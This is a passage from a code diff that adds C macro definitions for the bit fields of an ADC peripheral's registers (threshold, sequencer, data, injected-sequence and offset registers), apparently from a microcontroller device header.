Bit definition for ADC_TR1 register *******************/ +#define ADC_TR1_LT1_Pos (0U) +#define ADC_TR1_LT1_Msk (0xFFFUL << ADC_TR1_LT1_Pos) /*!< 0x00000FFF */ +#define ADC_TR1_LT1 ADC_TR1_LT1_Msk /*!< ADC analog watchdog 1 threshold low */ + +#define ADC_TR1_AWDFILT_Pos (12U) +#define ADC_TR1_AWDFILT_Msk (0x7UL << ADC_TR1_AWDFILT_Pos) /*!< 0x00007000 */ +#define ADC_TR1_AWDFILT ADC_TR1_AWDFILT_Msk /*!< ADC analog watchdog filtering parameter */ +#define ADC_TR1_AWDFILT_0 (0x1UL << ADC_TR1_AWDFILT_Pos) /*!< 0x00001000 */ +#define ADC_TR1_AWDFILT_1 (0x2UL << ADC_TR1_AWDFILT_Pos) /*!< 0x00002000 */ +#define ADC_TR1_AWDFILT_2 (0x4UL << ADC_TR1_AWDFILT_Pos) /*!< 0x00004000 */ + +#define ADC_TR1_HT1_Pos (16U) +#define ADC_TR1_HT1_Msk (0xFFFUL << ADC_TR1_HT1_Pos) /*!< 0x0FFF0000 */ +#define ADC_TR1_HT1 ADC_TR1_HT1_Msk /*!< ADC analog watchdog 1 threshold high */ + +/******************** Bit definition for ADC_TR2 register *******************/ +#define ADC_TR2_LT2_Pos (0U) +#define ADC_TR2_LT2_Msk (0xFFUL << ADC_TR2_LT2_Pos) /*!< 0x000000FF */ +#define ADC_TR2_LT2 ADC_TR2_LT2_Msk /*!< ADC analog watchdog 2 threshold low */ + +#define ADC_TR2_HT2_Pos (16U) +#define ADC_TR2_HT2_Msk (0xFFUL << ADC_TR2_HT2_Pos) /*!< 0x00FF0000 */ +#define ADC_TR2_HT2 ADC_TR2_HT2_Msk /*!< ADC analog watchdog 2 threshold high */ + +/******************** Bit definition for ADC_TR3 register *******************/ +#define ADC_TR3_LT3_Pos (0U) +#define ADC_TR3_LT3_Msk (0xFFUL << ADC_TR3_LT3_Pos) /*!< 0x000000FF */ +#define ADC_TR3_LT3 ADC_TR3_LT3_Msk /*!< ADC analog watchdog 3 threshold low */ + +#define ADC_TR3_HT3_Pos (16U) +#define ADC_TR3_HT3_Msk (0xFFUL << ADC_TR3_HT3_Pos) /*!< 0x00FF0000 */ +#define ADC_TR3_HT3 ADC_TR3_HT3_Msk /*!< ADC analog watchdog 3 threshold high */ + +/******************** Bit definition for ADC_SQR1 register ******************/ +#define ADC_SQR1_L_Pos (0U) +#define ADC_SQR1_L_Msk (0xFUL << ADC_SQR1_L_Pos) /*!< 0x0000000F */ +#define ADC_SQR1_L ADC_SQR1_L_Msk /*!< ADC group regular sequencer scan length */ +#define ADC_SQR1_L_0 (0x1UL << ADC_SQR1_L_Pos) /*!< 0x00000001 */ +#define ADC_SQR1_L_1 (0x2UL << ADC_SQR1_L_Pos) /*!< 0x00000002 */ +#define ADC_SQR1_L_2 (0x4UL << ADC_SQR1_L_Pos) /*!< 0x00000004 */ +#define ADC_SQR1_L_3 (0x8UL << ADC_SQR1_L_Pos) /*!< 0x00000008 */ + +#define ADC_SQR1_SQ1_Pos (6U) +#define ADC_SQR1_SQ1_Msk (0x1FUL << ADC_SQR1_SQ1_Pos) /*!< 0x000007C0 */ +#define ADC_SQR1_SQ1 ADC_SQR1_SQ1_Msk /*!< ADC group regular sequencer rank 1 */ +#define ADC_SQR1_SQ1_0 (0x01UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000040 */ +#define ADC_SQR1_SQ1_1 (0x02UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000080 */ +#define ADC_SQR1_SQ1_2 (0x04UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000100 */ +#define ADC_SQR1_SQ1_3 (0x08UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000200 */ +#define ADC_SQR1_SQ1_4 (0x10UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000400 */ + +#define ADC_SQR1_SQ2_Pos (12U) +#define ADC_SQR1_SQ2_Msk (0x1FUL << ADC_SQR1_SQ2_Pos) /*!< 0x0001F000 */ +#define ADC_SQR1_SQ2 ADC_SQR1_SQ2_Msk /*!< ADC group regular sequencer rank 2 */ +#define ADC_SQR1_SQ2_0 (0x01UL << ADC_SQR1_SQ2_Pos) /*!< 0x00001000 */ +#define ADC_SQR1_SQ2_1 (0x02UL << ADC_SQR1_SQ2_Pos) /*!< 0x00002000 */ +#define ADC_SQR1_SQ2_2 (0x04UL << ADC_SQR1_SQ2_Pos) /*!< 0x00004000 */ +#define ADC_SQR1_SQ2_3 (0x08UL << ADC_SQR1_SQ2_Pos) /*!< 0x00008000 */ +#define ADC_SQR1_SQ2_4 (0x10UL << ADC_SQR1_SQ2_Pos) /*!< 0x00010000 */ + +#define ADC_SQR1_SQ3_Pos (18U) +#define ADC_SQR1_SQ3_Msk (0x1FUL << ADC_SQR1_SQ3_Pos) /*!< 0x007C0000 */ +#define ADC_SQR1_SQ3 ADC_SQR1_SQ3_Msk /*!< ADC group regular sequencer rank 3 */ +#define ADC_SQR1_SQ3_0 (0x01UL << ADC_SQR1_SQ3_Pos) /*!< 0x00040000 */ +#define ADC_SQR1_SQ3_1 (0x02UL << ADC_SQR1_SQ3_Pos) /*!< 0x00080000 */ +#define ADC_SQR1_SQ3_2 (0x04UL << ADC_SQR1_SQ3_Pos) /*!< 0x00100000 */ +#define ADC_SQR1_SQ3_3 (0x08UL << ADC_SQR1_SQ3_Pos) /*!< 0x00200000 */ +#define ADC_SQR1_SQ3_4 (0x10UL<< ADC_SQR1_SQ3_Pos) /*!< 0x00400000 */ + +#define ADC_SQR1_SQ4_Pos (24U) +#define ADC_SQR1_SQ4_Msk (0x1FUL << ADC_SQR1_SQ4_Pos) /*!< 0x1F000000 */ +#define ADC_SQR1_SQ4 ADC_SQR1_SQ4_Msk /*!< ADC group regular sequencer rank 4 */ +#define ADC_SQR1_SQ4_0 (0x01UL << ADC_SQR1_SQ4_Pos) /*!< 0x01000000 */ +#define ADC_SQR1_SQ4_1 (0x02UL << ADC_SQR1_SQ4_Pos) /*!< 0x02000000 */ +#define ADC_SQR1_SQ4_2 (0x04UL << ADC_SQR1_SQ4_Pos) /*!< 0x04000000 */ +#define ADC_SQR1_SQ4_3 (0x08UL << ADC_SQR1_SQ4_Pos) /*!< 0x08000000 */ +#define ADC_SQR1_SQ4_4 (0x10UL << ADC_SQR1_SQ4_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR2 register ******************/ +#define ADC_SQR2_SQ5_Pos (0U) +#define ADC_SQR2_SQ5_Msk (0x1FUL << ADC_SQR2_SQ5_Pos) /*!< 0x0000001F */ +#define ADC_SQR2_SQ5 ADC_SQR2_SQ5_Msk /*!< ADC group regular sequencer rank 5 */ +#define ADC_SQR2_SQ5_0 (0x01UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000001 */ +#define ADC_SQR2_SQ5_1 (0x02UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000002 */ +#define ADC_SQR2_SQ5_2 (0x04UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000004 */ +#define ADC_SQR2_SQ5_3 (0x08UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000008 */ +#define ADC_SQR2_SQ5_4 (0x10UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000010 */ + +#define ADC_SQR2_SQ6_Pos (6U) +#define ADC_SQR2_SQ6_Msk (0x1FUL << ADC_SQR2_SQ6_Pos) /*!< 0x000007C0 */ +#define ADC_SQR2_SQ6 ADC_SQR2_SQ6_Msk /*!< ADC group regular sequencer rank 6 */ +#define ADC_SQR2_SQ6_0 (0x01UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000040 */ +#define ADC_SQR2_SQ6_1 (0x02UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000080 */ +#define ADC_SQR2_SQ6_2 (0x04UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000100 */ +#define ADC_SQR2_SQ6_3 (0x08UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000200 */ +#define ADC_SQR2_SQ6_4 (0x10UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000400 */ + +#define ADC_SQR2_SQ7_Pos (12U) +#define ADC_SQR2_SQ7_Msk (0x1FUL << ADC_SQR2_SQ7_Pos) /*!< 0x0001F000 */ +#define ADC_SQR2_SQ7 ADC_SQR2_SQ7_Msk /*!< ADC group regular sequencer rank 7 */ +#define ADC_SQR2_SQ7_0 (0x01UL << ADC_SQR2_SQ7_Pos) /*!< 0x00001000 */ +#define ADC_SQR2_SQ7_1 (0x02UL << ADC_SQR2_SQ7_Pos) /*!< 0x00002000 */ +#define ADC_SQR2_SQ7_2 (0x04UL << ADC_SQR2_SQ7_Pos) /*!< 0x00004000 */ +#define ADC_SQR2_SQ7_3 (0x08UL << ADC_SQR2_SQ7_Pos) /*!< 0x00008000 */ +#define ADC_SQR2_SQ7_4 (0x10UL << ADC_SQR2_SQ7_Pos) /*!< 0x00010000 */ + +#define ADC_SQR2_SQ8_Pos (18U) +#define ADC_SQR2_SQ8_Msk (0x1FUL << ADC_SQR2_SQ8_Pos) /*!< 0x007C0000 */ +#define ADC_SQR2_SQ8 ADC_SQR2_SQ8_Msk /*!< ADC group regular sequencer rank 8 */ +#define ADC_SQR2_SQ8_0 (0x01UL << ADC_SQR2_SQ8_Pos) /*!< 0x00040000 */ +#define ADC_SQR2_SQ8_1 (0x02UL << ADC_SQR2_SQ8_Pos) /*!< 0x00080000 */ +#define ADC_SQR2_SQ8_2 (0x04UL << ADC_SQR2_SQ8_Pos) /*!< 0x00100000 */ +#define ADC_SQR2_SQ8_3 (0x08UL << ADC_SQR2_SQ8_Pos) /*!< 0x00200000 */ +#define ADC_SQR2_SQ8_4 (0x10UL << ADC_SQR2_SQ8_Pos) /*!< 0x00400000 */ + +#define ADC_SQR2_SQ9_Pos (24U) +#define ADC_SQR2_SQ9_Msk (0x1FUL << ADC_SQR2_SQ9_Pos) /*!< 0x1F000000 */ +#define ADC_SQR2_SQ9 ADC_SQR2_SQ9_Msk /*!< ADC group regular sequencer rank 9 */ +#define ADC_SQR2_SQ9_0 (0x01UL << ADC_SQR2_SQ9_Pos) /*!< 0x01000000 */ +#define ADC_SQR2_SQ9_1 (0x02UL << ADC_SQR2_SQ9_Pos) /*!< 0x02000000 */ +#define ADC_SQR2_SQ9_2 (0x04UL << ADC_SQR2_SQ9_Pos) /*!< 0x04000000 */ +#define ADC_SQR2_SQ9_3 (0x08UL << ADC_SQR2_SQ9_Pos) /*!< 0x08000000 */ +#define ADC_SQR2_SQ9_4 (0x10UL << ADC_SQR2_SQ9_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR3 register ******************/ +#define ADC_SQR3_SQ10_Pos (0U) +#define ADC_SQR3_SQ10_Msk (0x1FUL << ADC_SQR3_SQ10_Pos) /*!< 0x0000001F */ +#define ADC_SQR3_SQ10 ADC_SQR3_SQ10_Msk /*!< ADC group regular sequencer rank 10 */ +#define ADC_SQR3_SQ10_0 (0x01UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000001 */ +#define ADC_SQR3_SQ10_1 (0x02UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000002 */ +#define ADC_SQR3_SQ10_2 (0x04UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000004 */ +#define ADC_SQR3_SQ10_3 (0x08UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000008 */ +#define ADC_SQR3_SQ10_4 (0x10UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000010 */ + +#define ADC_SQR3_SQ11_Pos (6U) +#define ADC_SQR3_SQ11_Msk (0x1FUL << ADC_SQR3_SQ11_Pos) /*!< 0x000007C0 */ +#define ADC_SQR3_SQ11 ADC_SQR3_SQ11_Msk /*!< ADC group regular sequencer rank 11 */ +#define ADC_SQR3_SQ11_0 (0x01UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000040 */ +#define ADC_SQR3_SQ11_1 (0x02UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000080 */ +#define ADC_SQR3_SQ11_2 (0x04UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000100 */ +#define ADC_SQR3_SQ11_3 (0x08UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000200 */ +#define ADC_SQR3_SQ11_4 (0x10UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000400 */ + +#define ADC_SQR3_SQ12_Pos (12U) +#define ADC_SQR3_SQ12_Msk (0x1FUL << ADC_SQR3_SQ12_Pos) /*!< 0x0001F000 */ +#define ADC_SQR3_SQ12 ADC_SQR3_SQ12_Msk /*!< ADC group regular sequencer rank 12 */ +#define ADC_SQR3_SQ12_0 (0x01UL << ADC_SQR3_SQ12_Pos) /*!< 0x00001000 */ +#define ADC_SQR3_SQ12_1 (0x02UL << ADC_SQR3_SQ12_Pos) /*!< 0x00002000 */ +#define ADC_SQR3_SQ12_2 (0x04UL << ADC_SQR3_SQ12_Pos) /*!< 0x00004000 */ +#define ADC_SQR3_SQ12_3 (0x08UL << ADC_SQR3_SQ12_Pos) /*!< 0x00008000 */ +#define ADC_SQR3_SQ12_4 (0x10UL << ADC_SQR3_SQ12_Pos) /*!< 0x00010000 */ + +#define ADC_SQR3_SQ13_Pos (18U) +#define ADC_SQR3_SQ13_Msk (0x1FUL << ADC_SQR3_SQ13_Pos) /*!< 0x007C0000 */ +#define ADC_SQR3_SQ13 ADC_SQR3_SQ13_Msk /*!< ADC group regular sequencer rank 13 */ +#define ADC_SQR3_SQ13_0 (0x01UL << ADC_SQR3_SQ13_Pos) /*!< 0x00040000 */ +#define ADC_SQR3_SQ13_1 (0x02UL << ADC_SQR3_SQ13_Pos) /*!< 0x00080000 */ +#define ADC_SQR3_SQ13_2 (0x04UL << ADC_SQR3_SQ13_Pos) /*!< 0x00100000 */ +#define ADC_SQR3_SQ13_3 (0x08UL << ADC_SQR3_SQ13_Pos) /*!< 0x00200000 */ +#define ADC_SQR3_SQ13_4 (0x10UL << ADC_SQR3_SQ13_Pos) /*!< 0x00400000 */ + +#define ADC_SQR3_SQ14_Pos (24U) +#define ADC_SQR3_SQ14_Msk (0x1FUL << ADC_SQR3_SQ14_Pos) /*!< 0x1F000000 */ +#define ADC_SQR3_SQ14 ADC_SQR3_SQ14_Msk /*!< ADC group regular sequencer rank 14 */ +#define ADC_SQR3_SQ14_0 (0x01UL << ADC_SQR3_SQ14_Pos) /*!< 0x01000000 */ +#define ADC_SQR3_SQ14_1 (0x02UL << ADC_SQR3_SQ14_Pos) /*!< 0x02000000 */ +#define ADC_SQR3_SQ14_2 (0x04UL << ADC_SQR3_SQ14_Pos) /*!< 0x04000000 */ +#define ADC_SQR3_SQ14_3 (0x08UL << ADC_SQR3_SQ14_Pos) /*!< 0x08000000 */ +#define ADC_SQR3_SQ14_4 (0x10UL << ADC_SQR3_SQ14_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR4 register ******************/ +#define ADC_SQR4_SQ15_Pos (0U) +#define ADC_SQR4_SQ15_Msk (0x1FUL << ADC_SQR4_SQ15_Pos) /*!< 0x0000001F */ +#define ADC_SQR4_SQ15 ADC_SQR4_SQ15_Msk /*!< ADC group regular sequencer rank 15 */ +#define ADC_SQR4_SQ15_0 (0x01UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000001 */ +#define ADC_SQR4_SQ15_1 (0x02UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000002 */ +#define ADC_SQR4_SQ15_2 (0x04UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000004 */ +#define ADC_SQR4_SQ15_3 (0x08UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000008 */ +#define ADC_SQR4_SQ15_4 (0x10UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000010 */ + +#define ADC_SQR4_SQ16_Pos (6U) +#define ADC_SQR4_SQ16_Msk (0x1FUL << ADC_SQR4_SQ16_Pos) /*!< 0x000007C0 */ +#define ADC_SQR4_SQ16 ADC_SQR4_SQ16_Msk /*!< ADC group regular sequencer rank 16 */ +#define ADC_SQR4_SQ16_0 (0x01UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000040 */ +#define ADC_SQR4_SQ16_1 (0x02UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000080 */ +#define ADC_SQR4_SQ16_2 (0x04UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000100 */ +#define ADC_SQR4_SQ16_3 (0x08UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000200 */ +#define ADC_SQR4_SQ16_4 (0x10UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000400 */ + +/******************** Bit definition for ADC_DR register ********************/ +#define ADC_DR_RDATA_Pos (0U) +#define ADC_DR_RDATA_Msk (0xFFFFUL << ADC_DR_RDATA_Pos) /*!< 0x0000FFFF */ +#define ADC_DR_RDATA ADC_DR_RDATA_Msk /*!< ADC group regular conversion data */ + +/******************** Bit definition for ADC_JSQR register ******************/ +#define ADC_JSQR_JL_Pos (0U) +#define ADC_JSQR_JL_Msk (0x3UL << ADC_JSQR_JL_Pos) /*!< 0x00000003 */ +#define ADC_JSQR_JL ADC_JSQR_JL_Msk /*!< ADC group injected sequencer scan length */ +#define ADC_JSQR_JL_0 (0x1UL << ADC_JSQR_JL_Pos) /*!< 0x00000001 */ +#define ADC_JSQR_JL_1 (0x2UL << ADC_JSQR_JL_Pos) /*!< 0x00000002 */ + +#define ADC_JSQR_JEXTSEL_Pos (2U) +#define ADC_JSQR_JEXTSEL_Msk (0x1FUL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x0000007C */ +#define ADC_JSQR_JEXTSEL ADC_JSQR_JEXTSEL_Msk /*!< ADC group injected external trigger source */ +#define ADC_JSQR_JEXTSEL_0 (0x1UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000004 */ +#define ADC_JSQR_JEXTSEL_1 (0x2UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000008 */ +#define ADC_JSQR_JEXTSEL_2 (0x4UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000010 */ +#define ADC_JSQR_JEXTSEL_3 (0x8UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000020 */ +#define ADC_JSQR_JEXTSEL_4 (0x10UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000040 */ + +#define ADC_JSQR_JEXTEN_Pos (7U) +#define ADC_JSQR_JEXTEN_Msk (0x3UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000180 */ +#define ADC_JSQR_JEXTEN ADC_JSQR_JEXTEN_Msk /*!< ADC group injected external trigger polarity */ +#define ADC_JSQR_JEXTEN_0 (0x1UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000080 */ +#define ADC_JSQR_JEXTEN_1 (0x2UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000100 */ + +#define ADC_JSQR_JSQ1_Pos (9U) +#define ADC_JSQR_JSQ1_Msk (0x1FUL << ADC_JSQR_JSQ1_Pos) /*!< 0x00003E00 */ +#define ADC_JSQR_JSQ1 ADC_JSQR_JSQ1_Msk /*!< ADC group injected sequencer rank 1 */ +#define ADC_JSQR_JSQ1_0 (0x01UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000200 */ +#define ADC_JSQR_JSQ1_1 (0x02UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000400 */ +#define ADC_JSQR_JSQ1_2 (0x04UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000800 */ +#define ADC_JSQR_JSQ1_3 (0x08UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00001000 */ +#define ADC_JSQR_JSQ1_4 (0x10UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00002000 */ + +#define ADC_JSQR_JSQ2_Pos (15U) +#define ADC_JSQR_JSQ2_Msk (0x1FUL << ADC_JSQR_JSQ2_Pos) /*!< 0x0007C000 */ +#define ADC_JSQR_JSQ2 ADC_JSQR_JSQ2_Msk /*!< ADC group injected sequencer rank 2 */ +#define ADC_JSQR_JSQ2_0 (0x01UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00004000 */ +#define ADC_JSQR_JSQ2_1 (0x02UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00008000 */ +#define ADC_JSQR_JSQ2_2 (0x04UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00010000 */ +#define ADC_JSQR_JSQ2_3 (0x08UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00020000 */ +#define ADC_JSQR_JSQ2_4 (0x10UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00040000 */ + +#define ADC_JSQR_JSQ3_Pos (21U) +#define ADC_JSQR_JSQ3_Msk (0x1FUL << ADC_JSQR_JSQ3_Pos) /*!< 0x03E00000 */ +#define ADC_JSQR_JSQ3 ADC_JSQR_JSQ3_Msk /*!< ADC group injected sequencer rank 3 */ +#define ADC_JSQR_JSQ3_0 (0x01UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00200000 */ +#define ADC_JSQR_JSQ3_1 (0x02UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00400000 */ +#define ADC_JSQR_JSQ3_2 (0x04UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00800000 */ +#define ADC_JSQR_JSQ3_3 (0x08UL << ADC_JSQR_JSQ3_Pos) /*!< 0x01000000 */ +#define ADC_JSQR_JSQ3_4 (0x10UL << ADC_JSQR_JSQ3_Pos) /*!< 0x02000000 */ + +#define ADC_JSQR_JSQ4_Pos (27U) +#define ADC_JSQR_JSQ4_Msk (0x1FUL << ADC_JSQR_JSQ4_Pos) /*!< 0xF8000000 */ +#define ADC_JSQR_JSQ4 ADC_JSQR_JSQ4_Msk /*!< ADC group injected sequencer rank 4 */ +#define ADC_JSQR_JSQ4_0 (0x01UL << ADC_JSQR_JSQ4_Pos) /*!< 0x08000000 */ +#define ADC_JSQR_JSQ4_1 (0x02UL << ADC_JSQR_JSQ4_Pos) /*!< 0x10000000 */ +#define ADC_JSQR_JSQ4_2 (0x04UL << ADC_JSQR_JSQ4_Pos) /*!< 0x20000000 */ +#define ADC_JSQR_JSQ4_3 (0x08UL << ADC_JSQR_JSQ4_Pos) /*!< 0x40000000 */ +#define ADC_JSQR_JSQ4_4 (0x10UL << ADC_JSQR_JSQ4_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_OFR1 register ******************/ +#define ADC_OFR1_OFFSET1_Pos (0U) +#define ADC_OFR1_OFFSET1_Msk (0xFFFUL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000FFF */ +#define ADC_OFR1_OFFSET1 ADC_OFR1_OFFSET1_Msk /*!< ADC offset number 1 offset level */ + +#define ADC_OFR1_OFFSETPOS_Pos (24U) +#define ADC_OFR1_OFFSETPOS_Msk (0x1UL << ADC_OFR1_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR1_OFFSETPOS ADC_OFR1_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR1_SATEN_Pos (25U) +#define ADC_OFR1_SATEN_Msk (0x1UL << ADC_OFR1_SATEN_Pos) /*!< 0x02000000 */ +#define ADC_OFR1_SATEN ADC_OFR1_SATEN_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR1_OFFSET1_CH_Pos (26U) +#define ADC_OFR1_OFFSET1_CH_Msk (0x1FUL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR1_OFFSET1_CH ADC_OFR1_OFFSET1_CH_Msk /*!< ADC offset number 1 channel selection */ +#define ADC_OFR1_OFFSET1_CH_0 (0x01UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR1_OFFSET1_CH_1 (0x02UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR1_OFFSET1_CH_2 (0x04UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR1_OFFSET1_CH_3 (0x08UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR1_OFFSET1_CH_4 (0x10UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x40000000 */ + +#define ADC_OFR1_OFFSET1_EN_Pos (31U) +#define ADC_OFR1_OFFSET1_EN_Msk (0x1UL << ADC_OFR1_OFFSET1_EN_Pos) /*!< 0x80000000 */ +#define ADC_OFR1_OFFSET1_EN ADC_OFR1_OFFSET1_EN_Msk /*!< ADC offset number 1 enable */ + +/******************** Bit definition for ADC_OFR2 register ******************/ +#define ADC_OFR2_OFFSET2_Pos (0U) +#define ADC_OFR2_OFFSET2_Msk (0xFFFUL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000FFF */ +#define ADC_OFR2_OFFSET2 ADC_OFR2_OFFSET2_Msk /*!< ADC offset number 2 offset level */ + +#define ADC_OFR2_OFFSETPOS_Pos (24U) +#define ADC_OFR2_OFFSETPOS_Msk (0x1UL << ADC_OFR2_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR2_OFFSETPOS ADC_OFR2_OFFSETPOS_Msk /*!< ADC offset number 2 positive */ +#define ADC_OFR2_SATEN_Pos (25U) +#define ADC_OFR2_SATEN_Msk (0x1UL << ADC_OFR2_SATEN_Pos) /*!< 0x02000000 */ +#define ADC_OFR2_SATEN ADC_OFR2_SATEN_Msk /*!< ADC offset number 2 saturation enable */ + +#define ADC_OFR2_OFFSET2_CH_Pos (26U) +#define ADC_OFR2_OFFSET2_CH_Msk (0x1FUL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR2_OFFSET2_CH ADC_OFR2_OFFSET2_CH_Msk /*!< ADC offset number 2 channel selection */ +#define ADC_OFR2_OFFSET2_CH_0 (0x01UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR2_OFFSET2_CH_1 (0x02UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR2_OFFSET2_CH_2 (0x04UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR2_OFFSET2_CH_3 (0x08UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR2_OFFSET2_CH_4 (0x10UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x40000000 */ + +#define ADC_OFR2_OFFSET2_EN_Pos (31U) +#define ADC_OFR2_OFFSET2_EN_Msk (0x1UL << ADC_OFR2_OFFSET2_EN_Pos) /*!< 0x80000000 */ +#define ADC_OFR2_OFFSET2_EN ADC_OFR2_OFFSET2_EN_Msk /*!< ADC offset number 2 enable */ + +/******************** Bit definition for ADC_OFR3 register ******************/ +#define ADC_OFR3_OFFSET3_Pos (0U) +#define ADC_OFR3_OFFSET3_Msk (0xFFFUL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000FFF */ +#define ADC_OFR3_OFFSET3 ADC_OFR3_OFFSET3_Msk /*!< ADC offset number 3 offset level */ + +#define ADC_OFR3_OFFSETPOS_Pos (24U) +#define ADC_OFR3_OFFSETPOS_Msk (0x1UL << ADC_OFR3_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR3_OFFSETPOS ADC_OFR3_OFFSETPOS_Msk /*!< ADC offset number 3 positive */ +#define ADC_OFR3_SATEN_Pos (25U) +#define ADC_OFR3_SATEN_Msk (0x1UL << ADC_OFR3_SATEN_Pos) /*!< 0x02000000 */ +#define ADC_OFR3_SATEN ADC_OFR3_SATEN_Msk /*!< ADC offset number 3 saturation enable */ + +#define ADC_OFR3_OFFSET3_CH_Pos (26U) +#define ADC_OFR3_OFFSET3_CH_Msk (0x1FUL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR3_OFFSET3_CH ADC_OFR3_OFFSET3_CH_Msk /*!< ADC offset number 3 channel selection */ +#define ADC_OFR3_OFFSET3_CH_0 (0x01UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR3_OFFSET3_CH_1 (0x02UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR3_OFFSET3_CH_2 (0x04UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR3_OFFSET3_CH_3 (0x08UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR3_OFFSET3_CH_4 (0x10UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x40000000 */ + +#define ADC_OFR3_OFFSET3_EN_Pos (31U) +#define ADC_OFR3_OFFSET3_EN_Msk (0x1UL << ADC_OFR3_OFFSET3_EN_Pos) /*!< 0x80000000 */ +#define ADC_OFR3_OFFSET3_EN ADC_OFR3_OFFSET3_EN_Msk /*!< ADC offset number 3 enable */ + +/******************** Bit definition for ADC_OFR4 register ******************/ +#define ADC_OFR4_OFFSET4_Pos (0U) +#define ADC_OFR4_OFFSET4_Msk (0xFFFUL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000FFF */ +#define ADC_OFR4_OFFSET4 ADC_OFR4_OFFSET4_Msk /*!< ADC offset number 4 offset level */ + +#define ADC_OFR4_OFFSETPOS_Pos (24U) +#define ADC_OFR4_OFFSETPOS_Msk (0x1UL << ADC_OFR4_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR4_OFFSETPOS ADC_OFR4_OFFSETPOS_Msk /*!< ADC offset number 4 positive */ +#define ADC_OFR4_SATEN_Pos 